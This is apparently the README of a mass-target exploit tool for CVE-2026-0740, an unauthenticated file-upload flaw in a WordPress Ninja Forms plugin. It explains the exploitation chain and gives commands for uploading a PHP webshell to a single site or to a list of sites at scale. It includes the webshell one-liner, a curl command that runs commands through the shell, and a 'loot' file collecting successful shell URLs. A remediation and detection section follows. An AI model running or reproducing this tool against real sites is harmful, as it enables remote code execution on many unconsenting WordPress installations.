CVE-2026-0740 — Mass-Target Exploit Engine

Author: 0xNuts
Contributor: Cursor
Repository: https://github.com/ExDev994/CVE-2026-0740-mass

PoC for CVE-2026-0740: Ninja Forms File Uploads <= 3.3.26 — Unauthenticated Arbitrary File Upload which can lead to RCE.

Original vulnerability discovered by Sélim Lanouar (@whattheslime). Mass-target PoC engine developed by 0xNuts with contributions from Cursor.

Disclaimer

This repository is provided for security research and defensive purposes only (authorized pentest, red team with written permission, patch validation, and hardening).

• Do not use against systems without explicit owner permission.
• The authors are not responsible for any misuse of this information.

Vulnerability Summary

The Ninja Forms - File Uploads plugin for WordPress is vulnerable to unauthenticated arbitrary file upload in all versions up to 3.3.26 (inclusive).

Exploitation chain:

1. An unauthenticated attacker obtains a nonce for upload via AJAX action nf_fu_get_new_nonce with an arbitrary field_id.
2. The nf_fu_upload handler validates the file upload extension (e.g., image.jpg), but the attacker can override the destination filename via a POST parameter (image_jpg).
3. The destination filename is passed to move_uploaded_file() without adequate sanitization → arbitrary extension + path traversal (../).

Full patch available in version 3.3.27+.

Prerequisites

• Python 3.10+
• Target has Ninja Forms and Ninja Forms - File Uploads (<= 3.3.26) installed and active
• No pre-existing form or upload field required

Install Dependencies

This repository contains only CVE-2026-0740.py and README.md. Install dependencies manually:

python3 -m venv .venv
source .venv/bin/activate          # Linux/macOS/WSL
# .venv\Scripts\activate           # Windows

pip install httpx==0.28.1 socksio==1.0.0

Usage

CLI Help

python3 CVE-2026-0740.py -h

Argument Options

Note: You must use exactly one of -t or -f.

Single Target Mode

python3 CVE-2026-0740.py -t http://target.com --shell shell.php

With explicit path traversal:

python3 CVE-2026-0740.py -t http://target.com --shell shell.php -d ../../../shell.php

Mass Target Mode

Create target.txt file:

http://site1.com
https://site2.com
10.0.0.5
# comment lines are ignored

Run:

python3 CVE-2026-0740.py -f target.txt --shell shell.php

With worker tuning and loot output:

python3 CVE-2026-0740.py -f target.txt --shell shell.php -w 50 -o loot.txt

Successful shell URLs will be written to the loot file (append mode).

Minimal Webshell Example

echo '<?php system($_GET["cmd"] ?? ""); ?>' > shell.php

After successful upload, the script displays the shell URL. Verify (only on lab/authorized target):

curl "http://target.com/wp-content/shell.php?cmd=id"

Plugin Version Detection (Optional)

httpx -fr -u http://target.com -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+'

Remediation (Mitigation)

1. Update Plugin (Top Priority)

Update Ninja Forms - File Uploads to version 3.3.27 or later immediately.

• WordPress Admin → Plugins → check version of Ninja Forms - File Uploads
• If automatic update is not available, download patched version from official vendor

2. Verify Patch

After update:

• Ensure plugin version >= 3.3.27
• Test endpoint wp-admin/admin-ajax.php with action nf_fu_get_new_nonce / nf_fu_upload — arbitrary upload should be denied
• Re-scan with scanner (Nuclei template CVE-2026-0740) to confirm

3. Indicators of Compromise (IoC)

Check WordPress upload directories:

wp-content/uploads/ninja-forms/tmp/
wp-content/uploads/ninja-forms/
wp-content/

Look for foreign files: .php, .pht, .phtml, .phar, .html, .svg, .js that should not be there.

Also check web server logs for requests to:

/wp-admin/admin-ajax.php

with parameters action=nf_fu_get_new_nonce or action=nf_fu_upload.

4. Additional Hardening

• WAF / rate limiting on /wp-admin/admin-ajax.php to block mass-upload abuse

• Disable PHP execution in wp-content/uploads/ directory via web server configuration:

  Apache (.htaccess in uploads/):

  root@kitploit:~

  <FilesMatch "\.php$">
    Require all denied
  </FilesMatch>
  

  Nginx:

  root@kitploit:~

  location ~* /wp-content/uploads/.*\.php$ {
      deny all;
  }
  

• Least privilege: ensure upload file permissions are not writable by web server outside required directories

• Monitoring: alert on POST to admin-ajax.php with action nf_fu_* from foreign IPs or high volume

• Backup & incident response: if IoC found, isolate site, rotate DB/admin credentials, audit other plugins/themes

5. If Plugin Not Used

Deactivate and delete the Ninja Forms - File Uploads plugin if upload feature is not needed.

References

• CVE-2026-0740
• Lexfo — Technical Deep Dive
• Wordfence — 50,000 WordPress Sites Affected
• GHSA-v8wq-rjpf-669f
• Nuclei Template